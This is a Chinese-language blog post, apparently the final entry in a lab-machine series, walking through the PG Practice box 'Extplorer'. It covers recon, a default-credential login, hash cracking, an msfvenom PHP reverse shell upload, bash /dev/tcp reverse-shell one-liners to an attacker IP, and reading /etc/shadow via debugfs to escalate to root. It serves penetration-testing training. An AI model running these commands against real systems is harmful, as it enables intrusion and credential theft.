iT邦幫忙

2025 iThome 鐵人賽

DAY 30
0
Security

滲透探險 30 天:靶機挑戰記系列 第 30

PG Practice: Extplorer 攻略

  • 分享至 

  • xImage
  •  

Recon

先看看上面開了哪些服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.230.16 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.230.16 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.230.16 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.230.16 -type recon;

https://ithelp.ithome.com.tw/upload/images/20251013/20178791O7XS1FbX2M.png

在 FFUF 的爆破檔案有看到 filemanager 先去看看那是甚麼
https://ithelp.ithome.com.tw/upload/images/20251013/20178791vgAxnL2zKq.png
http://extplorer/filemanager/ 是一個登入頁面,先試試看預設的帳號密碼
https://ithelp.ithome.com.tw/upload/images/20251013/20178791p0GYx3YeIY.png

Yes! 順利登入
瀏覽一下這個網站發現 admin 跟 dora的密碼, admin的密碼是我們剛剛試的,所以現在來爆破看看 dora的
https://ithelp.ithome.com.tw/upload/images/20251013/20178791i5DuV6bsOV.png
https://ithelp.ithome.com.tw/upload/images/20251013/20178791bBfKmmEzc2.png

這邊我們用 John 來爆破
順利拿到 Dora的密碼 doraemon

john --wordlist=/usr/share/wordlists/rockyou.txt dora

https://ithelp.ithome.com.tw/upload/images/20251013/201787910L6CLpkb1u.png
先來試試用 dora的帳號密碼看能不能登入
可惜,permission denied,看來 dora 的沒有權限可以使用 SSH
先把這件事情筆記下來

Initial Access

繼續挖掘網站,我們看到一個地方可以上傳檔案
所以我們先用 msfvenom 產生一個 shell,然後上傳

msfvenom -p php/reverse_php LHOST=192.168.45.152 LPORT=80 -f raw -o rShell.php

https://ithelp.ithome.com.tw/upload/images/20251013/20178791eEyJ2vestf.png
http://extplorer/wp-admin/rShell.php

設定好監聽後在 WP-admin 可以找到該檔案
執行後順利拿到一個 reverse shell
https://ithelp.ithome.com.tw/upload/images/20251013/20178791jwdTlVg6MH.png

因為用 PHP產生的 reverse shell 有的時候會不太穩定,我們再造另一個 shell 連回 kali

/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.207/80 0>&1'

https://ithelp.ithome.com.tw/upload/images/20251013/20178791OgN2s1N4Jv.png

升級為 PTY shell 後,發現我們目前的身分 www-data 是不能讀 Dora的檔案的
https://ithelp.ithome.com.tw/upload/images/20251013/201787910kIBFwaui1.png
是時候轉換成 Dora了

su dora
doraemon

這邊我再用 Dora的身分連一個 reverse shell 回 kali
得到第一個 flag

/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.207/80 0>&1'

https://ithelp.ithome.com.tw/upload/images/20251013/20178791drqNLzGWd2.png

Privilege Escalation

上傳 Linpeas 以後,我們發現這個 user Dora 在 disk 的群組裡面
https://ithelp.ithome.com.tw/upload/images/20251013/20178791EtcxJjbCBg.png

根據 hacktrick 的說法,這個權限可以去執行所有的檔案 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html?highlight=disk#disk-group
那我們就去找哪個 filesystem 是掛載在根目錄上

df -h

https://ithelp.ithome.com.tw/upload/images/20251013/20178791JbAqHX7NWm.png

Method 1: Directly read the proof.txt

如果不拿 shell 只是單純的讀取檔案,那只要用 debugfs 去跑掛載在 root 下的 filesystem 即可

debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
cd /root
cat proof.txt

https://ithelp.ithome.com.tw/upload/images/20251013/201787914FEnA3FkDK.png

Method 2: Get root password

但如果需要互動式 shell,我們需要先拿到 root 的密碼
所以先來讀一下 /etc/shadow

debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
cat /etc/shadow

https://ithelp.ithome.com.tw/upload/images/20251013/20178791pW53DZ3MRp.png
拿到 root 的 hash 值後, 用 hashcat 爆破

hashcat --force -m 1800 root_hash /usr/share/wordlists/rockyou.txt

https://ithelp.ithome.com.tw/upload/images/20251013/20178791cJ3F1Ec1rq.png
非常好! 有 root 的密碼後就可以轉成 root 的身分了

su root
explorer

https://ithelp.ithome.com.tw/upload/images/20251013/20178791JTzmAh2fq1.png


上一篇
PG Practice: Scrutiny 攻略
系列文
滲透探險 30 天:靶機挑戰記30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言